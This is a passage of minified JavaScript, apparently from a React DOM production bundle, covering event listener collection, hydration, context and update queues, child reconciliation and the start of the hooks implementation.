In(y,e,null,n,i),o.push({event:y,listeners:_}),v?y.data=v:(v=er(n),v!==null&&(y.data=v)))),(v=Yn?nr(e,n):rr(e,n))&&(r=si(r,`onBeforeInput`),0<r.length&&(i=new In(`onBeforeInput`,`beforeinput`,null,n,i),o.push({event:i,listeners:r}),i.data=v))}$r(o,t)})}function oi(e,t,n){return{instance:e,listener:t,currentTarget:n}}function si(e,t){for(var n=t+`Capture`,r=[];e!==null;){var i=e,a=i.stateNode;i.tag===5&&a!==null&&(i=a,a=tt(e,n),a!=null&&r.unshift(oi(e,a,i)),a=tt(e,t),a!=null&&r.push(oi(e,a,i))),e=e.return}return r}function ci(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5);return e||null}function li(e,t,n,r,i){for(var a=t._reactName,o=[];n!==null&&n!==r;){var s=n,c=s.alternate,l=s.stateNode;if(c!==null&&c===r)break;s.tag===5&&l!==null&&(s=l,i?(c=tt(n,a),c!=null&&o.unshift(oi(n,c,s))):i||(c=tt(n,a),c!=null&&o.push(oi(n,c,s)))),n=n.return}o.length!==0&&e.push({event:t,listeners:o})}var ui=/\r\n?/g,di=/\u0000|\uFFFD/g;function fi(e){return(typeof e==`string`?e:``+e).replace(ui,`
+`).replace(di,``)}function pi(e,t,n){if(t=fi(t),fi(e)!==t&&n)throw Error(r(425))}function mi(){}var hi=null,gi=null;function _i(e,t){return e===`textarea`||e===`noscript`||typeof t.children==`string`||typeof t.children==`number`||typeof t.dangerouslySetInnerHTML==`object`&&t.dangerouslySetInnerHTML!==null&&t.dangerouslySetInnerHTML.__html!=null}var vi=typeof setTimeout==`function`?setTimeout:void 0,yi=typeof clearTimeout==`function`?clearTimeout:void 0,bi=typeof Promise==`function`?Promise:void 0,xi=typeof queueMicrotask==`function`?queueMicrotask:bi===void 0?vi:function(e){return bi.resolve(null).then(e).catch(Si)};function Si(e){setTimeout(function(){throw e})}function Ci(e,t){var n=t,r=0;do{var i=n.nextSibling;if(e.removeChild(n),i&&i.nodeType===8)if(n=i.data,n===`/$`){if(r===0){e.removeChild(i),on(t);return}r--}else n!==`$`&&n!==`$?`&&n!==`$!`||r++;n=i}while(n);on(t)}function wi(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t===`$`||t===`$!`||t===`$?`)break;if(t===`/$`)return null}}return e}function Ti(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n===`$`||n===`$!`||n===`$?`){if(t===0)return e;t--}else n===`/$`&&t++}e=e.previousSibling}return null}var Ei=Math.random().toString(36).slice(2),Di=`__reactFiber$`+Ei,Oi=`__reactProps$`+Ei,ki=`__reactContainer$`+Ei,Ai=`__reactEvents$`+Ei,ji=`__reactListeners$`+Ei,Mi=`__reactHandles$`+Ei;function Ni(e){var t=e[Di];if(t)return t;for(var n=e.parentNode;n;){if(t=n[ki]||n[Di]){if(n=t.alternate,t.child!==null||n!==null&&n.child!==null)for(e=Ti(e);e!==null;){if(n=e[Di])return n;e=Ti(e)}return t}e=n,n=e.parentNode}return null}function Pi(e){return e=e[Di]||e[ki],!e||e.tag!==5&&e.tag!==6&&e.tag!==13&&e.tag!==3?null:e}function Fi(e){if(e.tag===5||e.tag===6)return e.stateNode;throw Error(r(33))}function Ii(e){return e[Oi]||null}var Li=[],Ri=-1;function zi(e){return{current:e}}function Bi(e){0>Ri||(e.current=Li[Ri],Li[Ri]=null,Ri--)}function Vi(e,t){Ri++,Li[Ri]=e.current,e.current=t}var Hi={},Ui=zi(Hi),Wi=zi(!1),Gi=Hi;function Ki(e,t){var n=e.type.contextTypes;if(!n)return Hi;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function qi(e){return e=e.childContextTypes,e!=null}function Ji(){Bi(Wi),Bi(Ui)}function Yi(e,t,n){if(Ui.current!==Hi)throw Error(r(168));Vi(Ui,t),Vi(Wi,n)}function Xi(e,t,n){var i=e.stateNode;if(t=t.childContextTypes,typeof i.getChildContext!=`function`)return n;for(var a in i=i.getChildContext(),i)if(!(a in t))throw Error(r(108,pe(e)||`Unknown`,a));return oe({},n,i)}function Zi(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||Hi,Gi=Ui.current,Vi(Ui,e),Vi(Wi,Wi.current),!0}function Qi(e,t,n){var i=e.stateNode;if(!i)throw Error(r(169));n?(e=Xi(e,t,Gi),i.__reactInternalMemoizedMergedChildContext=e,Bi(Wi),Bi(Ui),Vi(Ui,e)):Bi(Wi),Vi(Wi,n)}var $i=null,ea=!1,ta=!1;function na(e){$i===null?$i=[e]:$i.push(e)}function ra(e){ea=!0,na(e)}function ia(){if(!ta&&$i!==null){ta=!0;var e=0,t=It;try{var n=$i;for(It=1;e<n.length;e++){var r=n[e];do r=r(!0);while(r!==null)}$i=null,ea=!1}catch(t){throw $i!==null&&($i=$i.slice(e+1)),z(ht,ia),t}finally{It=t,ta=!1}}return null}var aa=[],oa=0,sa=null,ca=0,la=[],ua=0,da=null,fa=1,pa=``;function ma(e,t){aa[oa++]=ca,aa[oa++]=sa,sa=e,ca=t}function ha(e,t,n){la[ua++]=fa,la[ua++]=pa,la[ua++]=da,da=e;var r=fa;e=pa;var i=32-St(r)-1;r&=~(1<<i),n+=1;var a=32-St(t)+i;if(30<a){var o=i-i%5;a=(r&(1<<o)-1).toString(32),r>>=o,i-=o,fa=1<<32-St(t)+i|n<<i|r,pa=a+e}else fa=1<<a|n<<i|r,pa=e}function ga(e){e.return!==null&&(ma(e,1),ha(e,1,0))}function _a(e){for(;e===sa;)sa=aa[--oa],aa[oa]=null,ca=aa[--oa],aa[oa]=null;for(;e===da;)da=la[--ua],la[ua]=null,pa=la[--ua],la[ua]=null,fa=la[--ua],la[ua]=null}var va=null,ya=null,ba=!1,xa=null;function Sa(e,t){var n=Xl(5,null,null,0);n.elementType=`DELETED`,n.stateNode=t,n.return=e,t=e.deletions,t===null?(e.deletions=[n],e.flags|=16):t.push(n)}function Ca(e,t){switch(e.tag){case 5:var n=e.type;return t=t.nodeType!==1||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t,t===null?!1:(e.stateNode=t,va=e,ya=wi(t.firstChild),!0);case 6:return t=e.pendingProps===``||t.nodeType!==3?null:t,t===null?!1:(e.stateNode=t,va=e,ya=null,!0);case 13:return t=t.nodeType===8?t:null,t===null?!1:(n=da===null?null:{id:fa,overflow:pa},e.memoizedState={dehydrated:t,treeContext:n,retryLane:1073741824},n=Xl(18,null,null,0),n.stateNode=t,n.return=e,e.child=n,va=e,ya=null,!0);default:return!1}}function wa(e){return(e.mode&1)!=0&&(e.flags&128)==0}function Ta(e){if(ba){var t=ya;if(t){var n=t;if(!Ca(e,t)){if(wa(e))throw Error(r(418));t=wi(n.nextSibling);var i=va;t&&Ca(e,t)?Sa(i,n):(e.flags=e.flags&-4097|2,ba=!1,va=e)}}else{if(wa(e))throw Error(r(418));e.flags=e.flags&-4097|2,ba=!1,va=e}}}function Ea(e){for(e=e.return;e!==null&&e.tag!==5&&e.tag!==3&&e.tag!==13;)e=e.return;va=e}function Da(e){if(e!==va)return!1;if(!ba)return Ea(e),ba=!0,!1;var t;if((t=e.tag!==3)&&!(t=e.tag!==5)&&(t=e.type,t=t!==`head`&&t!==`body`&&!_i(e.type,e.memoizedProps)),t&&=ya){if(wa(e))throw Oa(),Error(r(418));for(;t;)Sa(e,t),t=wi(t.nextSibling)}if(Ea(e),e.tag===13){if(e=e.memoizedState,e=e===null?null:e.dehydrated,!e)throw Error(r(317));a:{for(e=e.nextSibling,t=0;e;){if(e.nodeType===8){var n=e.data;if(n===`/$`){if(t===0){ya=wi(e.nextSibling);break a}t--}else n!==`$`&&n!==`$!`&&n!==`$?`||t++}e=e.nextSibling}ya=null}}else ya=va?wi(e.stateNode.nextSibling):null;return!0}function Oa(){for(var e=ya;e;)e=wi(e.nextSibling)}function ka(){ya=va=null,ba=!1}function Aa(e){xa===null?xa=[e]:xa.push(e)}var ja=C.ReactCurrentBatchConfig;function Ma(e,t){if(e&&e.defaultProps){for(var n in t=oe({},t),e=e.defaultProps,e)t[n]===void 0&&(t[n]=e[n]);return t}return t}var Na=zi(null),Pa=null,Fa=null,Ia=null;function La(){Ia=Fa=Pa=null}function Ra(e){var t=Na.current;Bi(Na),e._currentValue=t}function za(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)===t?r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t):(e.childLanes|=t,r!==null&&(r.childLanes|=t)),e===n)break;e=e.return}}function Ba(e,t){Pa=e,Ia=Fa=null,e=e.dependencies,e!==null&&e.firstContext!==null&&((e.lanes&t)!==0&&(Ps=!0),e.firstContext=null)}function Va(e){var t=e._currentValue;if(Ia!==e)if(e={context:e,memoizedValue:t,next:null},Fa===null){if(Pa===null)throw Error(r(308));Fa=e,Pa.dependencies={lanes:0,firstContext:e}}else Fa=Fa.next=e;return t}var Ha=null;function Ua(e){Ha===null?Ha=[e]:Ha.push(e)}function Wa(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Ua(t)):(n.next=i.next,i.next=n),t.interleaved=n,Ga(e,r)}function Ga(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var Ka=!1;function qa(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Ja(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Ya(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function Xa(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Wc&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Ga(e,n)}return i=r.interleaved,i===null?(t.next=t,Ua(r)):(t.next=i.next,i.next=t),r.interleaved=t,Ga(e,n)}function Za(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,n&4194240)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,G(e,n)}}function Qa(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function $a(e,t,n,r){var i=e.updateQueue;Ka=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,s=i.shared.pending;if(s!==null){i.shared.pending=null;var c=s,l=c.next;c.next=null,o===null?a=l:o.next=l,o=c;var u=e.alternate;u!==null&&(u=u.updateQueue,s=u.lastBaseUpdate,s!==o&&(s===null?u.firstBaseUpdate=l:s.next=l,u.lastBaseUpdate=c))}if(a!==null){var d=i.baseState;o=0,u=l=c=null,s=a;do{var f=s.lane,p=s.eventTime;if((r&f)===f){u!==null&&(u=u.next={eventTime:p,lane:0,tag:s.tag,payload:s.payload,callback:s.callback,next:null});a:{var m=e,h=s;switch(f=t,p=n,h.tag){case 1:if(m=h.payload,typeof m==`function`){d=m.call(p,d,f);break a}d=m;break a;case 3:m.flags=m.flags&-65537|128;case 0:if(m=h.payload,f=typeof m==`function`?m.call(p,d,f):m,f==null)break a;d=oe({},d,f);break a;case 2:Ka=!0}}s.callback!==null&&s.lane!==0&&(e.flags|=64,f=i.effects,f===null?i.effects=[s]:f.push(s))}else p={eventTime:p,lane:f,tag:s.tag,payload:s.payload,callback:s.callback,next:null},u===null?(l=u=p,c=d):u=u.next=p,o|=f;if(s=s.next,s===null){if(s=i.shared.pending,s===null)break;f=s,s=f.next,f.next=null,i.lastBaseUpdate=f,i.shared.pending=null}}while(1);if(u===null&&(c=d),i.baseState=c,i.firstBaseUpdate=l,i.lastBaseUpdate=u,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Qc|=o,e.lanes=o,e.memoizedState=d}}function eo(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;t<e.length;t++){var i=e[t],a=i.callback;if(a!==null){if(i.callback=null,i=n,typeof a!=`function`)throw Error(r(191,a));a.call(i)}}}var to=new t.Component().refs;function no(e,t,n,r){t=e.memoizedState,n=n(r,t),n=n==null?t:oe({},t,n),e.memoizedState=n,e.lanes===0&&(e.updateQueue.baseState=n)}var ro={isMounted:function(e){return(e=e._reactInternals)?R(e)===e:!1},enqueueSetState:function(e,t,n){e=e._reactInternals;var r=gl(),i=_l(e),a=Ya(r,i);a.payload=t,n!=null&&(a.callback=n),t=Xa(e,a,i),t!==null&&(vl(t,e,i,r),Za(t,e,i))},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=gl(),i=_l(e),a=Ya(r,i);a.tag=1,a.payload=t,n!=null&&(a.callback=n),t=Xa(e,a,i),t!==null&&(vl(t,e,i,r),Za(t,e,i))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=gl(),r=_l(e),i=Ya(n,r);i.tag=2,t!=null&&(i.callback=t),t=Xa(e,i,r),t!==null&&(vl(t,e,r,n),Za(t,e,r))}};function io(e,t,n,r,i,a,o){return e=e.stateNode,typeof e.shouldComponentUpdate==`function`?e.shouldComponentUpdate(r,a,o):t.prototype&&t.prototype.isPureReactComponent?!Cr(n,r)||!Cr(i,a):!0}function ao(e,t,n){var r=!1,i=Hi,a=t.contextType;return typeof a==`object`&&a?a=Va(a):(i=qi(t)?Gi:Ui.current,r=t.contextTypes,a=(r=r!=null)?Ki(e,i):Hi),t=new t(n,a),e.memoizedState=t.state!==null&&t.state!==void 0?t.state:null,t.updater=ro,e.stateNode=t,t._reactInternals=e,r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=i,e.__reactInternalMemoizedMaskedChildContext=a),t}function oo(e,t,n,r){e=t.state,typeof t.componentWillReceiveProps==`function`&&t.componentWillReceiveProps(n,r),typeof t.UNSAFE_componentWillReceiveProps==`function`&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&ro.enqueueReplaceState(t,t.state,null)}function so(e,t,n,r){var i=e.stateNode;i.props=n,i.state=e.memoizedState,i.refs=to,qa(e);var a=t.contextType;typeof a==`object`&&a?i.context=Va(a):(a=qi(t)?Gi:Ui.current,i.context=Ki(e,a)),i.state=e.memoizedState,a=t.getDerivedStateFromProps,typeof a==`function`&&(no(e,t,a,n),i.state=e.memoizedState),typeof t.getDerivedStateFromProps==`function`||typeof i.getSnapshotBeforeUpdate==`function`||typeof i.UNSAFE_componentWillMount!=`function`&&typeof i.componentWillMount!=`function`||(t=i.state,typeof i.componentWillMount==`function`&&i.componentWillMount(),typeof i.UNSAFE_componentWillMount==`function`&&i.UNSAFE_componentWillMount(),t!==i.state&&ro.enqueueReplaceState(i,i.state,null),$a(e,n,i,r),i.state=e.memoizedState),typeof i.componentDidMount==`function`&&(e.flags|=4194308)}function co(e,t,n){if(e=n.ref,e!==null&&typeof e!=`function`&&typeof e!=`object`){if(n._owner){if(n=n._owner,n){if(n.tag!==1)throw Error(r(309));var i=n.stateNode}if(!i)throw Error(r(147,e));var a=i,o=``+e;return t!==null&&t.ref!==null&&typeof t.ref==`function`&&t.ref._stringRef===o?t.ref:(t=function(e){var t=a.refs;t===to&&(t=a.refs={}),e===null?delete t[o]:t[o]=e},t._stringRef=o,t)}if(typeof e!=`string`)throw Error(r(284));if(!n._owner)throw Error(r(290,e))}return e}function lo(e,t){throw e=Object.prototype.toString.call(t),Error(r(31,e===`[object Object]`?`object with keys {`+Object.keys(t).join(`, `)+`}`:e))}function uo(e){var t=e._init;return t(e._payload)}function fo(e){function t(t,n){if(e){var r=t.deletions;r===null?(t.deletions=[n],t.flags|=16):r.push(n)}}function n(n,r){if(!e)return null;for(;r!==null;)t(n,r),r=r.sibling;return null}function i(e,t){for(e=new Map;t!==null;)t.key===null?e.set(t.index,t):e.set(t.key,t),t=t.sibling;return e}function a(e,t){return e=$l(e,t),e.index=0,e.sibling=null,e}function o(t,n,r){return t.index=r,e?(r=t.alternate,r===null?(t.flags|=2,n):(r=r.index,r<n?(t.flags|=2,n):r)):(t.flags|=1048576,n)}function s(t){return e&&t.alternate===null&&(t.flags|=2),t}function c(e,t,n,r){return t===null||t.tag!==6?(t=ru(n,e.mode,r),t.return=e,t):(t=a(t,n),t.return=e,t)}function l(e,t,n,r){var i=n.type;return i===E?d(e,t,n.props.children,r,n.key):t!==null&&(t.elementType===i||typeof i==`object`&&i&&i.$$typeof===ne&&uo(i)===t.type)?(r=a(t,n.props),r.ref=co(e,t,n),r.return=e,r):(r=eu(n.type,n.key,n.props,null,e.mode,r),r.ref=co(e,t,n),r.return=e,r)}function u(e,t,n,r){return t===null||t.tag!==4||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?(t=iu(n,e.mode,r),t.return=e,t):(t=a(t,n.children||[]),t.return=e,t)}function d(e,t,n,r,i){return t===null||t.tag!==7?(t=tu(n,e.mode,r,i),t.return=e,t):(t=a(t,n),t.return=e,t)}function f(e,t,n){if(typeof t==`string`&&t!==``||typeof t==`number`)return t=ru(``+t,e.mode,n),t.return=e,t;if(typeof t==`object`&&t){switch(t.$$typeof){case w:return n=eu(t.type,t.key,t.props,null,e.mode,n),n.ref=co(e,null,t),n.return=e,n;case T:return t=iu(t,e.mode,n),t.return=e,t;case ne:var r=t._init;return f(e,r(t._payload),n)}if(Ee(t)||ae(t))return t=tu(t,e.mode,n,null),t.return=e,t;lo(e,t)}return null}function p(e,t,n,r){var i=t===null?null:t.key;if(typeof n==`string`&&n!==``||typeof n==`number`)return i===null?c(e,t,``+n,r):null;if(typeof n==`object`&&n){switch(n.$$typeof){case w:return n.key===i?l(e,t,n,r):null;case T:return n.key===i?u(e,t,n,r):null;case ne:return i=n._init,p(e,t,i(n._payload),r)}if(Ee(n)||ae(n))return i===null?d(e,t,n,r,null):null;lo(e,n)}return null}function m(e,t,n,r,i){if(typeof r==`string`&&r!==``||typeof r==`number`)return e=e.get(n)||null,c(t,e,``+r,i);if(typeof r==`object`&&r){switch(r.$$typeof){case w:return e=e.get(r.key===null?n:r.key)||null,l(t,e,r,i);case T:return e=e.get(r.key===null?n:r.key)||null,u(t,e,r,i);case ne:var a=r._init;return m(e,t,n,a(r._payload),i)}if(Ee(r)||ae(r))return e=e.get(n)||null,d(t,e,r,i,null);lo(t,r)}return null}function h(r,a,s,c){for(var l=null,u=null,d=a,h=a=0,g=null;d!==null&&h<s.length;h++){d.index>h?(g=d,d=null):g=d.sibling;var _=p(r,d,s[h],c);if(_===null){d===null&&(d=g);break}e&&d&&_.alternate===null&&t(r,d),a=o(_,a,h),u===null?l=_:u.sibling=_,u=_,d=g}if(h===s.length)return n(r,d),ba&&ma(r,h),l;if(d===null){for(;h<s.length;h++)d=f(r,s[h],c),d!==null&&(a=o(d,a,h),u===null?l=d:u.sibling=d,u=d);return ba&&ma(r,h),l}for(d=i(r,d);h<s.length;h++)g=m(d,r,h,s[h],c),g!==null&&(e&&g.alternate!==null&&d.delete(g.key===null?h:g.key),a=o(g,a,h),u===null?l=g:u.sibling=g,u=g);return e&&d.forEach(function(e){return t(r,e)}),ba&&ma(r,h),l}function g(a,s,c,l){var u=ae(c);if(typeof u!=`function`)throw Error(r(150));if(c=u.call(c),c==null)throw Error(r(151));for(var d=u=null,h=s,g=s=0,_=null,v=c.next();h!==null&&!v.done;g++,v=c.next()){h.index>g?(_=h,h=null):_=h.sibling;var y=p(a,h,v.value,l);if(y===null){h===null&&(h=_);break}e&&h&&y.alternate===null&&t(a,h),s=o(y,s,g),d===null?u=y:d.sibling=y,d=y,h=_}if(v.done)return n(a,h),ba&&ma(a,g),u;if(h===null){for(;!v.done;g++,v=c.next())v=f(a,v.value,l),v!==null&&(s=o(v,s,g),d===null?u=v:d.sibling=v,d=v);return ba&&ma(a,g),u}for(h=i(a,h);!v.done;g++,v=c.next())v=m(h,a,g,v.value,l),v!==null&&(e&&v.alternate!==null&&h.delete(v.key===null?g:v.key),s=o(v,s,g),d===null?u=v:d.sibling=v,d=v);return e&&h.forEach(function(e){return t(a,e)}),ba&&ma(a,g),u}function _(e,r,i,o){if(typeof i==`object`&&i&&i.type===E&&i.key===null&&(i=i.props.children),typeof i==`object`&&i){switch(i.$$typeof){case w:a:{for(var c=i.key,l=r;l!==null;){if(l.key===c){if(c=i.type,c===E){if(l.tag===7){n(e,l.sibling),r=a(l,i.props.children),r.return=e,e=r;break a}}else if(l.elementType===c||typeof c==`object`&&c&&c.$$typeof===ne&&uo(c)===l.type){n(e,l.sibling),r=a(l,i.props),r.ref=co(e,l,i),r.return=e,e=r;break a}n(e,l);break}else t(e,l);l=l.sibling}i.type===E?(r=tu(i.props.children,e.mode,o,i.key),r.return=e,e=r):(o=eu(i.type,i.key,i.props,null,e.mode,o),o.ref=co(e,r,i),o.return=e,e=o)}return s(e);case T:a:{for(l=i.key;r!==null;){if(r.key===l)if(r.tag===4&&r.stateNode.containerInfo===i.containerInfo&&r.stateNode.implementation===i.implementation){n(e,r.sibling),r=a(r,i.children||[]),r.return=e,e=r;break a}else{n(e,r);break}else t(e,r);r=r.sibling}r=iu(i,e.mode,o),r.return=e,e=r}return s(e);case ne:return l=i._init,_(e,r,l(i._payload),o)}if(Ee(i))return h(e,r,i,o);if(ae(i))return g(e,r,i,o);lo(e,i)}return typeof i==`string`&&i!==``||typeof i==`number`?(i=``+i,r!==null&&r.tag===6?(n(e,r.sibling),r=a(r,i),r.return=e,e=r):(n(e,r),r=ru(i,e.mode,o),r.return=e,e=r),s(e)):n(e,r)}return _}var po=fo(!0),mo=fo(!1),ho={},go=zi(ho),_o=zi(ho),vo=zi(ho);function yo(e){if(e===ho)throw Error(r(174));return e}function bo(e,t){switch(Vi(vo,t),Vi(_o,e),Vi(go,ho),e=t.nodeType,e){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:Me(null,``);break;default:e=e===8?t.parentNode:t,t=e.namespaceURI||null,e=e.tagName,t=Me(t,e)}Bi(go),Vi(go,t)}function xo(){Bi(go),Bi(_o),Bi(vo)}function So(e){yo(vo.current);var t=yo(go.current),n=Me(t,e.type);t!==n&&(Vi(_o,e),Vi(go,n))}function Co(e){_o.current===e&&(Bi(go),Bi(_o))}var wo=zi(0);function To(e){for(var t=e;t!==null;){if(t.tag===13){var n=t.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data===`$?`||n.data===`$!`))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==void 0){if(t.flags&128)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var Eo=[];function Do(){for(var e=0;e<Eo.length;e++)Eo[e]._workInProgressVersionPrimary=null;Eo.length=0}var Oo=C.ReactCurrentDispatcher,ko=C.ReactCurrentBatchConfig,Ao=0,jo=null,Mo=null,No=null,Po=!1,Fo=!1,Io=0,Lo=0;function Ro(){throw Error(r(321))}function zo(e,t){if(t===null)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!Sr(e[n],t[n]))return!1;return!0}function Bo(e,t,n,i,a,o){if(Ao=o,jo=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,Oo.current=e===null||e.memoizedState===null?xs:Ss,e=n(i,a),Fo){o=0;do{if(Fo=!1,Io=0,25<=o)throw Error(r(301));o+=1,No=Mo=null,t.updateQueue=null,Oo.current=Cs,e=n(i,a)}while(Fo)}if(Oo.current=bs,t=Mo!==null&&Mo.next!==null,Ao=0,No=Mo=jo=null,Po=!1,t)throw Error(r(300));return e}function Vo(){var e=Io!==0;return Io=0,e}function Ho(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return No===null?jo.memoizedState=No=e:No=No.next=e,No}function Y(){if(Mo===null){var e=jo.alternate;e=e===null?null:e.memoizedState}else e=Mo.next;var t=No===null?jo.memoizedState:No.next;if(t!==null)No=t,Mo=e;else{if(e===null)throw Error(r(310));Mo=e,e={memoizedState:Mo.memoizedState,baseState:Mo.baseState,baseQueue:Mo.baseQueue,queue:Mo.queue,next:null},No===null?jo.memoizedState=No=e:No=No.next=e}return No}function Uo(e,t){return typeof t==`function`?t(e):t}function Wo(e){var t=Y(),n=t.queue;if(n===null)throw Error(r(311));n.lastRenderedReducer=e;var i=Mo,a=i.baseQueue,o=n.pending;if(o!==null){if(a!==null){var s=a.next;a.next=o.next,o.next=s}i.baseQueue=a=o,n.pending=null}if(a!==null){o=a.next,i=i.baseState;var c=s=null,l=null,u=o;do{var d=u.lane;if((Ao&d)===d)l!==null&&(l=l.next={lane:0,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null}),i=u.hasEagerState?u.eagerState:e(i,u.action);else{var f={lane:d,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null};l===null?(c=l=f,s=i):l=l.next=f,jo.lanes|=d,Qc|=d}u=u.next}while(u!==null&&u!==o);l===null?s=i:l.next=c,Sr(i,t.memoizedState)||(Ps=!0),t.memoizedState=i,t.baseState=s,t.baseQueue=l,n.lastRenderedState=i}if(e=n.interleaved,e!==null){a=e;do o=a.lane,jo.lanes|=o,Qc|=o,a=a.next;while(a!==e)}else a===null&&(n.lanes=0);return[t.memoizedState,n.dispatch]}function Go(e){var t=Y(),n=t.queue;if(n===null)throw Error(r(311));n.lastRenderedReducer=e;var i=n.dispatch,a=n.pending,o=t.memoizedState;if(a!==null){n.pending=null;var s=a=a.next;do o=e(o,s.action),s=s.next;while(s!==a);Sr(o,t.memoizedState)||(Ps=!0),t.memoizedState=o,t.baseQueue===null&&(t.baseState=o),n.lastRenderedState=o}return[o,i]}function Ko(){}function qo(e,t){var n=jo,i=Y(),a=t(),o=!Sr(i.memoizedState,a);if(o&&(i.memoizedState=a,Ps=!0),i=i.queue,as(Xo.bind(null,n,i,e),[e]),i.getSnapshot!==t||o||No!==null&&No.memoizedState.tag&1){if(n.flags|=2048,es(9,Yo.bind(null,n,i,a,t),void 0,null),Gc===null)throw Error(r(349));Ao&30||Jo(n,t,a)}return a}function Jo(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},t=jo.updateQueue,t===null?(t={lastEffect:null,stores:null},jo.updateQueue=t,t.stores=[e]):(n=t.stores,n===null?t.stores=[e]:n.push(e))}function Yo(e,t,n,r){t.value=n,t.getSnapshot=r,Zo(t)&&Qo(e)}function Xo(e,t,n){return n(function(){Zo(t)&&Qo(e)})}function Zo(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!Sr(e,n)}catch{return!0}}function Qo(e){var t=Ga(e,1);t!==null&&vl(t,e,1,-1)}function $o(e){var t=Ho();return typeof e==`function`&&(e=e()),t.memoizedState=t.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:Uo,lastRenderedState:e},t.queue=e,e=e.dispatch=gs.bind(null,jo,e),[t.memoizedState,e]}function es(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},t=jo.updateQueue,t===null?(t={lastEffect:null,stores:null},jo.updateQueue=t,t.lastEffect=e.next=e):(n=t.lastEffect,n===null?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e)),e}function ts(){return Y().memoizedState}function ns(e,t,n,r){var i=Ho();jo.flags|=e,i.memoizedState=es(1|t,n,void 0,r===void 0?null:r)}function rs(e,t,n,r){var i=Y();r=r===void 0?null:r;var a=void 0;if(Mo!==null){var o=Mo.memoizedState;if(a=o.destroy,r!==null&&zo(r,o.deps)){i.memoizedState=es(t,n,a,r);return}}jo.flags|=e,i.memoizedState=es(1|t,n,a,r)}function is(e,t){return ns(8390656,8,e,t)}function as(e,t){return rs(2048,8,e,t)}function X(e,t){return rs(4,2,e,t)}function os(e,t){return rs(4,4,e,t)}function ss(e,t){if(typeof t==`function`)return e=e(),t(e),function(){t(null)};if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function cs(e,t,n){return n=n==null?null:n.concat([e]),rs(4,4,ss.bind(null,t,e),n)}function ls(){}function us(e,t){var n=Y();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&zo(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function ds(e,t){var n=Y();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&zo(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)}function fs(e,t,n){return Ao&21?(Sr(n,t)||(n=Mt(),jo.lanes|=n,Qc|=n,e.baseState=!0),t):(e.baseState&&(e.baseState=!1,Ps=!0),e.memoizedState=n)}function ps(e,t){var n=It;It=n!==0&&4>n?n:4,e(!0);var r=ko.transition;ko.transition={};try{e(!1),t()}finally{It=n,ko.transition=r}}function ms(){return Y().memoizedState}function hs(e,t,n){var 